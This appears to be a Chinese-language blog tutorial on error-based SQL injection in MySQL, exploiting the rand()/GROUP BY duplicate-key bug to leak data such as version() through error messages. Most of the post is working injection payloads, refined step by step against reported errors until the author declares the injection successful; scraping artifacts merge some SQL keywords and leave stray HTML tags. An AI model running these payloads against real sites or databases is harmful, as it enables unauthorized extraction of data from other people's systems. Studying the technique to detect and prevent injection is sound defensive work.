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网站MYSQL数据库高级爆错注入原分析

admin 脚本攻防

2023-12-07 0 135

这里主要用了mysql的一个BUG ：http://bugs.mysql.com/bug.php?id=8652 grouping on certain parts of the result from rand, causes a duplicate key error. 重现过程:

SQL Code复制内容到剪贴板

usemysql;

createtabler1(aint);insertintor1values(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);

selectleft(rand(),3),afromr1groupby1;

selectleft(rand(),3),a,count(*)fromr1groupby1;

selectround(rand(1),1),a,count(*)fromr1groupby1;

于是便可以这样拿来爆错注入了。复制代码代码如下: select count(*),concat((select version()),left(rand(),3))x from inform<span style=\”line-height:1.5;\”>ation_schema.tables group by x;</span>

尝试拿来实战复制代码代码如下: select * from user where user=\’root\’ and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误选择的列应该为一个。那么。我们换一下

复制代码代码如下: select * from user where user=\’root\’ and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style=\”font-family:\’sans serif\’, tahoma, verdana, helvetica;font-size:12px;line-height:1.5;\”></span>复制代码代码如下: 1248 (42000): Every derived table must have its own alias

提示多表查询要有别名那好办复制代码代码如下: select * from user where user=\’root\’ and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者复制代码代码如下: select * from user where user=\’root\’ and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者：小残绳命不息 |折腾不止

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